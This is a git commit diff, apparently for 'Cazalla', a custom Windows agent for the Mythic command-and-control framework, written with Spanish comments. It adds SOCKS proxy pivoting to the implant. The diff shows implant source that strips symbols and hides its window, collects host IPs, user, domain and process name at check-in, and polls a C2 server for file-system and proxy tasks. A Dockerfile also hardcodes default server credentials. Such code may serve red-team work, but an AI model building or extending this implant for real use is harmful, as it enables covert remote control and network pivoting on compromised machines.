Socks funcional
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
FROM python:3.11
|
||||
|
||||
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
|
||||
ARG CA_CERTIFICATE
|
||||
ARG NPM_REGISTRY
|
||||
ARG PYPI_INDEX
|
||||
@@ -8,24 +9,35 @@ ARG DOCKER_REGISTRY_MIRROR
|
||||
ARG HTTP_PROXY
|
||||
ARG HTTPS_PROXY
|
||||
|
||||
# Evita prompts (tzdata) y builds no reproducibles
|
||||
# --- Evita prompts (tzdata) y builds no reproducibles ---
|
||||
ENV DEBIAN_FRONTEND=noninteractive \
|
||||
PIP_NO_CACHE_DIR=1
|
||||
|
||||
# Update + install en el MISMO layer. Sin upgrade, sin purge.
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
apt-utils ca-certificates git zip make build-essential \
|
||||
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# (Opcional) pip reciente / compatibilidad wheels
|
||||
# --- Actualiza pip / setuptools / wheel ---
|
||||
RUN python -m pip install --upgrade pip setuptools wheel
|
||||
|
||||
# --- Instala el paquete base de Mythic y dependencias del payload ---
|
||||
COPY requirements.txt /
|
||||
RUN pip3 install -r /requirements.txt
|
||||
RUN pip install --no-cache-dir -r /requirements.txt \
|
||||
&& pip install --no-cache-dir mythic-container
|
||||
|
||||
# --- Variables de entorno necesarias para comunicación con el core Mythic ---
|
||||
ENV MYTHIC_SERVER_HOST="mythic_server"
|
||||
ENV MYTHIC_SERVER_PORT="17443"
|
||||
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
|
||||
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
|
||||
|
||||
# --- Copia el código del payload ---
|
||||
WORKDIR /Mythic/
|
||||
CMD ["python3", "main.py"]
|
||||
COPY ./ /Mythic/cazalla/
|
||||
|
||||
# --- Comando por defecto ---
|
||||
CMD ["python3", "main.py"]
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
# Compiler
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -Wall -w -s -IInclude
|
||||
|
||||
# Base flags
|
||||
CFLAGS = -Wall -w -IInclude
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||
DFLAGS = -D_DEBUG
|
||||
# Console flags (no -mwindows) for debug console output
|
||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
|
||||
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
|
||||
|
||||
# Directories
|
||||
SRC_FILES := *.c
|
||||
@@ -13,31 +17,32 @@ $(shell mkdir -p $(BUILD_DIR))
|
||||
|
||||
# Build Targets
|
||||
all: exe dll
|
||||
|
||||
exe: $(BUILD_DIR)/cazalla.exe
|
||||
|
||||
dll: $(BUILD_DIR)/cazalla.dll
|
||||
|
||||
debug: debug_exe debug_dll
|
||||
|
||||
exe: $(BUILD_DIR)/cazalla.exe
|
||||
dll: $(BUILD_DIR)/cazalla.dll
|
||||
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
||||
|
||||
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
||||
|
||||
# Executable Target
|
||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS)
|
||||
|
||||
# DLL Target
|
||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
||||
|
||||
# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log)
|
||||
debug_log: $(BUILD_DIR)/cazalla-debug-log.exe
|
||||
$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS)
|
||||
|
||||
# Clean up
|
||||
clean:
|
||||
rm -rf $(BUILD_DIR)
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
#include "SistemadeFicheros.h"
|
||||
#include "paquete.h"
|
||||
|
||||
/* Forward decl to avoid implicit declaration on some toolchains */
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma warning(disable : 4996)
|
||||
|
||||
@@ -31,10 +34,10 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
|
||||
pathNormalizado[j++] = pathIntroducido[i];
|
||||
}
|
||||
|
||||
// Asegurar que el path esté terminado en null
|
||||
// Asegurar que el path est� terminado en null
|
||||
pathNormalizado[j] = '\0';
|
||||
|
||||
// Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas
|
||||
// Convertir el path a min�sculas para evitar problemas con may�sculas/min�sculas
|
||||
for (int i = 0; i < j; i++) {
|
||||
pathNormalizado[i] = tolower(pathNormalizado[i]);
|
||||
}
|
||||
@@ -80,7 +83,7 @@ VOID ListarDirectorio(PAnalizador argumentos){
|
||||
return;
|
||||
}
|
||||
|
||||
UINT32 tamanoPath = NULL;
|
||||
UINT32 tamanoPath = 0;
|
||||
SIZE_T tamano = 0;
|
||||
char nombreFichero[MAX_FILENAME];
|
||||
PCHAR fichero = getString(argumentos, &tamano);
|
||||
@@ -169,7 +172,7 @@ BOOL ObtenerPath(PAnalizador argumentos) {
|
||||
if (length == 0) {
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error);
|
||||
_err("[pwd] Error obteniendo directorio actual. C�digo: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
@@ -227,7 +230,7 @@ VOID CopiarFichero(PAnalizador argumentos) {
|
||||
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[cp] No se ha podido copiar. Código: %lu\n", error);
|
||||
_err("[cp] No se ha podido copiar. C�digo: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
@@ -283,7 +286,7 @@ VOID CrearRuta(PAnalizador argumentos){
|
||||
if (!CreateDirectoryA(directorio, NULL)){
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error);
|
||||
_err("[mkdir] No se ha podido crear el directorio. C�digo: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
|
||||
@@ -1,12 +1,26 @@
|
||||
#include "cazalla.h"
|
||||
#include "Config.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||
|
||||
VOID cazallaMain() {
|
||||
|
||||
//v2: evitar LocalAlloc
|
||||
printf("[CAZALLA] Inicializando configuración de Cazalla\n");
|
||||
fflush(stdout);
|
||||
|
||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||
if (!cazallaConfig) {
|
||||
_err("Error: fallo en LocalAlloc para cazallaConfig.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
cazallaConfig->idAgente = (PCHAR)initUUID;
|
||||
cazallaConfig->hostName = (PWCHAR)hostname;
|
||||
cazallaConfig->puertoHttp = port;
|
||||
@@ -16,24 +30,49 @@ VOID cazallaMain() {
|
||||
cazallaConfig->SSL = ssl;
|
||||
cazallaConfig->proxyHabilitado= proxyenabled;
|
||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||
cazallaConfig->tiempoSleep = sleep_time*1000;
|
||||
cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
|
||||
|
||||
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
|
||||
cazallaConfig->idAgente,
|
||||
cazallaConfig->hostName,
|
||||
cazallaConfig->puertoHttp,
|
||||
(int)cazallaConfig->SSL,
|
||||
(int)cazallaConfig->proxyHabilitado,
|
||||
cazallaConfig->endPoint,
|
||||
cazallaConfig->userAgent,
|
||||
cazallaConfig->tiempoSleep);
|
||||
fflush(stdout);
|
||||
|
||||
printf("[CAZALLA] Iniciando primer checkin...\n");
|
||||
fflush(stdout);
|
||||
PAnalizador respuestaAnalizador = checkin();
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("error en el primer checkin, cerrando\n");
|
||||
printf("[CAZALLA] Error en el primer checkin, cerrando.\n");
|
||||
fflush(stdout);
|
||||
return;
|
||||
}
|
||||
|
||||
parseChecking(respuestaAnalizador);
|
||||
|
||||
printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep);
|
||||
fflush(stdout);
|
||||
|
||||
while (TRUE) {
|
||||
rutina();
|
||||
|
||||
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
|
||||
if (socks_proxy_active) {
|
||||
DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)");
|
||||
Sleep(100);
|
||||
} else {
|
||||
DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
|
||||
Sleep(cazallaConfig->tiempoSleep);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID setUUID(PCHAR newUUID) {
|
||||
cazallaConfig->idAgente = newUUID;
|
||||
return;
|
||||
DBG_PRINTF("UUID actualizado: %s", newUUID);
|
||||
}
|
||||
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
|
||||
#include "analizador.h"
|
||||
#include "utils.h"
|
||||
#include "checkin.h"
|
||||
#include "socks_manager.h" // <— añadido para acceso a socks_proxy_active
|
||||
|
||||
typedef struct {
|
||||
// UUID
|
||||
@@ -28,8 +28,7 @@ typedef struct {
|
||||
|
||||
extern PCONFIG_CAZALLA cazallaConfig;
|
||||
|
||||
|
||||
VOID setUUID(PCHAR newUUID);
|
||||
VOID cazallaMain();
|
||||
VOID cazallaMain(void);
|
||||
|
||||
#endif
|
||||
@@ -1,86 +1,66 @@
|
||||
#include "checkin.h"
|
||||
#include "cazalla.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#include <iphlpapi.h>
|
||||
|
||||
// Obtener Direcciones IPs.
|
||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
// === Obtener Direcciones IPs ===
|
||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwRetVal = 0;
|
||||
IN_ADDR IPAddr;
|
||||
LPVOID lpMsgBuf;
|
||||
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||
if (pTablaDireccionesIP) {
|
||||
|
||||
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
else {
|
||||
return NULL;
|
||||
}
|
||||
if (pTablaDireccionesIP == NULL) return NULL;
|
||||
} else return NULL;
|
||||
|
||||
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||
|
||||
return NULL;
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
} else {
|
||||
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||
}
|
||||
|
||||
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||
|
||||
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||
|
||||
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP) {
|
||||
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP);
|
||||
return tableOfIPs;
|
||||
}
|
||||
|
||||
|
||||
// Obtener la arquitectura
|
||||
// === Obtener arquitectura ===
|
||||
BYTE obtenerArquitectura() {
|
||||
|
||||
SYSTEM_INFO informacionDelSistema;
|
||||
|
||||
GetNativeSystemInfo(&informacionDelSistema);
|
||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||||
informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||
return 0x64;
|
||||
}
|
||||
|
||||
return 0x86;
|
||||
}
|
||||
|
||||
// Obtener el Hostname
|
||||
// === Obtener hostname ===
|
||||
PCHAR obtenerHostame() {
|
||||
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* hostnameRep = "N/A";
|
||||
|
||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
||||
{
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
||||
{
|
||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) {
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||
hostnameRep = datos;
|
||||
}
|
||||
@@ -88,17 +68,13 @@ PCHAR obtenerHostame() {
|
||||
return (char*)hostnameRep;
|
||||
}
|
||||
|
||||
// Obtener el usuario
|
||||
// === Obtener usuario ===
|
||||
char* obtenerUsuarios() {
|
||||
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* usuario = "N/A";
|
||||
|
||||
if (!GetUserNameA(NULL, &dataLen)) {
|
||||
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||
|
||||
GetUserNameA(datos, &dataLen);
|
||||
usuario = datos;
|
||||
}
|
||||
@@ -106,9 +82,8 @@ char* obtenerUsuarios() {
|
||||
return (char*)usuario;
|
||||
}
|
||||
|
||||
// Obtener el dominio
|
||||
// === Obtener dominio ===
|
||||
LPWSTR obtenerDominio() {
|
||||
|
||||
DWORD dwLevel = 102;
|
||||
LPWKSTA_INFO_102 pBuf = NULL;
|
||||
PWCHAR dominio = NULL;
|
||||
@@ -117,37 +92,25 @@ LPWSTR obtenerDominio() {
|
||||
|
||||
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||
if (nStatus == NERR_Success) {
|
||||
|
||||
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||
}
|
||||
|
||||
if (pBuf != NULL) {
|
||||
|
||||
NetApiBufferFree(pBuf);
|
||||
}
|
||||
|
||||
if (pBuf != NULL) NetApiBufferFree(pBuf);
|
||||
return dominio;
|
||||
}
|
||||
|
||||
char* getOsName() {
|
||||
// === Obtener OS ===
|
||||
char* getOsName() { return (PCHAR)"Windows"; }
|
||||
|
||||
return (PCHAR)"Windows";
|
||||
}
|
||||
|
||||
// Obtener el nombre del proceso actual
|
||||
// === Obtener nombre del proceso actual ===
|
||||
char* obtenerNombreProceso() {
|
||||
|
||||
char* nombreProceso = NULL;
|
||||
HANDLE handle = GetCurrentProcess();
|
||||
if (handle) {
|
||||
|
||||
DWORD buffSize = 1024;
|
||||
CHAR buffer[1024];
|
||||
|
||||
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||
|
||||
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||
memcpy(nombreProceso, buffer, buffSize);
|
||||
}
|
||||
@@ -156,17 +119,24 @@ char* obtenerNombreProceso() {
|
||||
return nombreProceso;
|
||||
}
|
||||
|
||||
/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */
|
||||
static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
|
||||
|
||||
/* ==========================================================
|
||||
Check-in principal con soporte SOCKS
|
||||
========================================================== */
|
||||
PAnalizador checkin() {
|
||||
printf("[CHECKIN] Iniciando checkin\n");
|
||||
fflush(stdout);
|
||||
|
||||
UINT32 numeroDeIPs = 0;
|
||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||
if (!checkin) {
|
||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||
return NULL;
|
||||
}
|
||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||
|
||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||
addInt32(checkin, numeroDeIPs);
|
||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||
@@ -182,15 +152,20 @@ PAnalizador checkin() {
|
||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||
|
||||
|
||||
printf("[CHECKIN] Enviando paquete inicial\n");
|
||||
fflush(stdout);
|
||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||
|
||||
liberarPaquete(checkin);
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
||||
printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n");
|
||||
fflush(stdout);
|
||||
return NULL;
|
||||
|
||||
}
|
||||
|
||||
DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
|
||||
procesarSocksEntrante(respuestaAnalizador);
|
||||
|
||||
DBG_PRINTF("checkin(): completado");
|
||||
return respuestaAnalizador;
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
#ifndef CHECKIN_H
|
||||
#define CHECKIN_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <lm.h>
|
||||
#include <lmwksta.h>
|
||||
@@ -9,9 +10,10 @@
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
#include "socks_manager.h" // <— añadido
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
PAnalizador checkin();
|
||||
PAnalizador checkin(void);
|
||||
|
||||
#endif
|
||||
@@ -1,5 +1,17 @@
|
||||
#include "cazalla.h"
|
||||
#include "comandos.h"
|
||||
#include "socks_manager.h"
|
||||
#include "paquete.h"
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
/* Forward: handlers for the new commands */
|
||||
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||
|
||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
|
||||
@@ -36,6 +48,16 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
CrearRuta(analizadorTarea);
|
||||
} else if (tarea == RM_CMD) {
|
||||
EliminarRuta(analizadorTarea);
|
||||
} else if (tarea == START_SOCKS_CMD) {
|
||||
DBG_PRINTF("Received START_SOCKS_CMD");
|
||||
startSocksHandler(analizadorTarea);
|
||||
} else if (tarea == STOP_SOCKS_CMD) {
|
||||
DBG_PRINTF("Received STOP_SOCKS_CMD");
|
||||
stopSocksHandler(analizadorTarea);
|
||||
} else {
|
||||
_dbg("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
|
||||
// liberar analizador si no será usado por otro handler
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -92,3 +114,94 @@ BOOL rutina() {
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
/* ============================
|
||||
START_SOCKS_CMD handler
|
||||
Expected params (in this order inside the task buffer):
|
||||
- 36 bytes: UUID del task
|
||||
- UINT32 LocalPort (optional). If absent or zero -> default 1080.
|
||||
Behavior:
|
||||
- call socks_manager_init()
|
||||
- call socks_manager_start_proxy(local_port)
|
||||
- send response back to Mythic
|
||||
============================ */
|
||||
static void startSocksHandler(PAnalizador analizadorTarea) {
|
||||
DBG_PRINTF("startSocksHandler() enter");
|
||||
|
||||
// Leer el UUID del task (primeros 36 bytes)
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||
|
||||
// Leer el puerto
|
||||
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
||||
DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
||||
|
||||
if (localPort == 0) localPort = 1080;
|
||||
|
||||
// initialize socks manager (idempotent)
|
||||
socks_manager_init();
|
||||
|
||||
int rc = socks_manager_start_proxy((uint16_t)localPort);
|
||||
|
||||
// Crear respuesta para Mythic
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||
|
||||
// Crear paquete temporal para el output
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
if (rc == 0) {
|
||||
DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort);
|
||||
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
|
||||
} else {
|
||||
DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
|
||||
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
|
||||
}
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar respuesta
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
|
||||
/* ============================
|
||||
STOP_SOCKS_CMD handler
|
||||
Expected params:
|
||||
- 36 bytes: UUID del task
|
||||
Behavior:
|
||||
- call socks_manager_stop_proxy()
|
||||
- call socks_manager_cleanup()
|
||||
- send response back to Mythic
|
||||
============================ */
|
||||
static void stopSocksHandler(PAnalizador analizadorTarea) {
|
||||
DBG_PRINTF("stopSocksHandler() enter");
|
||||
|
||||
// Leer el UUID del task (primeros 36 bytes)
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||
DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid);
|
||||
|
||||
int rc = socks_manager_stop_proxy();
|
||||
DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc);
|
||||
|
||||
socks_manager_cleanup();
|
||||
DBG_PRINTF("socks_manager_cleanup() done");
|
||||
|
||||
// Crear respuesta para Mythic
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||
|
||||
// Crear paquete temporal para el output
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n");
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar respuesta
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
|
||||
@@ -29,7 +29,12 @@
|
||||
#define MKDIR_CMD 0x24
|
||||
#define RM_CMD 0x25
|
||||
|
||||
/* New SOCKS control commands (agent-side) */
|
||||
#define START_SOCKS_CMD 0x60
|
||||
#define STOP_SOCKS_CMD 0x61
|
||||
|
||||
/* Extension marker to carry SOCKS array in binary messages */
|
||||
#define SOCKS_BLOCK_MARKER 0xF5
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||
BOOL rutina();
|
||||
|
||||
@@ -23,7 +23,8 @@ BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
|
||||
/* Use wsprintfA for MinGW portability without requiring nonstandard _snprintf */
|
||||
wsprintfA(buffer, "%s\\%s", dominio, nombre);
|
||||
buffer[tamano - 1] = 0;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,12 +1,14 @@
|
||||
#include "cazalla.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//#ifdef _DEBUG
|
||||
//int main()
|
||||
//#else
|
||||
//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||
//#endif
|
||||
{
|
||||
int main() {
|
||||
printf("=== CAZALLA AGENT STARTING ===\n");
|
||||
fflush(stdout);
|
||||
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
||||
cazallaMain();
|
||||
|
||||
printf("=== CAZALLA AGENT EXITING ===\n");
|
||||
fflush(stdout);
|
||||
printf("Press any key to exit...\n");
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
@@ -1,9 +1,16 @@
|
||||
#include "cazalla.h"
|
||||
#include "paquete.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||
//v2 change to syscalls
|
||||
DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
|
||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||
if (!paquete) {
|
||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||
@@ -24,31 +31,98 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||
}
|
||||
|
||||
VOID liberarPaquete(PPaquete paquete) {
|
||||
|
||||
DBG_PRINTF("liberarPaquete()");
|
||||
LocalFree(paquete->buffer);
|
||||
LocalFree(paquete);
|
||||
|
||||
}
|
||||
|
